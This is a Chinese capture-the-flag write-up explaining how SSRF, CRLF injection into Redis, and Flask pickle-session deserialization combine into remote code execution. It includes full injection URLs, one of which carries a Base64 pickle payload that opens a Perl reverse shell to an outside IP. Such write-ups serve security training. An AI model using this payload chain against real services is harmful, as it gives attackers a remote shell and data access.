pickle
Pickle + Redis SSRF 反序列化漏洞利用
题目信息
- 题目名称: Pickle
- 漏洞类型: SSRF + CRLF + Python 反序列化
- 提示: SSRF+CRLF+python反序列化漏洞
- 关键端口: 6379(Redis)
漏洞原理
- Python 2 CRLF 漏洞
在 Python 2 的某些库(如 httplib 模块)中,存在 URL 解析的 CRLF 注入漏洞。当用户输入的 URL 包含 %0D%0A(即 \r\n)时,这些换行符会被正确传递,而不是被过滤或转义。
- SSRF 漏洞
服务端存在 SSRF 漏洞,可以发送请求到内网地址,包括内网的 Redis 服务(端口 6379)。

- CRLF 注入控制 Redis
通过 SSRF 访问 Redis 时,利用 CRLF 注入可以在 HTTP 请求路径中构造 Redis 命令。关键技巧是使用双 CRLF(_%0D%0D%0A),确保换行符被正确传递到 Redis。
- Session 存储
Flask 的 session 存储在 Redis 中,格式为 session:<session_id>。Session 数据经过 pickle 序列化和 Base64 编码后存储。
- Pickle 反序列化 RCE
当 Flask 从 Redis 读取 session 并反序列化时,如果数据是恶意的 pickle 对象,会触发 __reduce__ 或其他魔术方法执行任意代码。
解题思路
1 | ┌─────────────────────────────────────────────────────────────┐ |
步骤详解
步骤 1: SSRF 端口探测
- 提交
http://127.0.0.1:6379/测试 Redis 是否开放 - 根据错误信息判断端口状态
步骤 2: 确认 CRLF 注入
- 使用双 CRLF 技巧
_%0D%0D%0A构造 URL - 提交简单的 Redis 命令验证注入效果
- 根据 Redis 错误信息确认命令被正确解析
步骤 3: 生成恶意 Pickle Payload
- 使用 Python 2 生成 pickle payload
- 选择能返回
dict类型的 payload(避免 session 初始化错误) - 使用 Perl 反弹 shell 命令:
perl -e 'use Socket;...' - 将 payload Base64 编码
步骤 4: 写入恶意 Session
- 使用 Redis 的
SET命令清空旧 session - 使用
APPEND命令分批写入 Base64 编码的 pickle 数据 - session key 使用
session:1(避免重复)
步骤 5: 触发反序列化
- 刷新靶场页面
- Flask 从 Redis 读取 session
- Pickle 反序列化触发
__reduce__执行反弹 shell
步骤 6: 获取 Flag
- 连接成功后,使用
env命令查看环境变量 - flag 存储在环境变量中:
env | grep -i flag
Payload 脚本
1 | # coding: utf-8 |
生成的 Payload
清空命令:
1 | http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%249%0D%0Asession%3A1%0D%0A%240%0D%0A |
APPEND 命令:
1 | http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%246%0D%0AAPPEND%0D%0A%249%0D%0Asession%3A1%0D%0A%24400%0D%0AY19fYnVpbHRpbl9fCmV2YWwKcDEKKFMnX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oXCdwZXJsIC1lIFxcXCd1c2UgU29ja2V0OyRpPSIxMTUuMjkuMjMxLjE0MCI7JHA9ODg4ODtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigdaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI%2BJlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1xcXCdcJykgb3Ige30nCnRScDIKLg%3D%3D%0A |
攻击执行
1 | # 1. 在自己的服务器监听反弹 shell 端口 |
关键技术点
- 双 CRLF 技巧
使用 _%0D%0D%0A 而不是 %0D%0A,是因为在 URL 路径中,需要确保换行符被正确传递。双 CRLF 确保第一个 CRLF 用于结束 HTTP 路径,第二个 CRLF 开始 Redis 命令。
- Pickle 返回类型处理
Flask 的 session 反序列化要求数据必须是 dict 或类似可迭代类型。因此 payload 的 __reduce__ 必须返回合法的 dict。
使用 eval 方式:eval('__import__("os").system(cmd) or {}) 可以确保返回 {},同时执行命令。
- Python 2 低版本 CRLF 漏洞
Python 2 的 httplib 模块在处理 URL 时存在 CRLF 注入漏洞。当 URL 参数经过 httplib 处理后再用于 HTTP 请求时,URL 编码的 CRLF 会被还原为真实的换行符。
- Session 机制
Flask 使用 session cookie 来标识用户 session,session 数据存储在 Redis 中,读取时会自动反序列化。控制了 Redis 中的 session 数据就控制了用户会话。
获取 Flag
反弹 shell 成功后,flag 存储在环境变量中:
1 | env |
总结
本题利用了多个漏洞的组合:
- SSRF - 服务端请求伪造,访问内网 Redis
- CRLF 注入 - 篡改 HTTP 请求,注入 Redis 命令
- Redis 数据写入 - 通过 SSRF+CRLF 控制 Redis,写入恶意数据
- Pickle 反序列化 - 恶意 session 数据在反序列化时执行任意代码


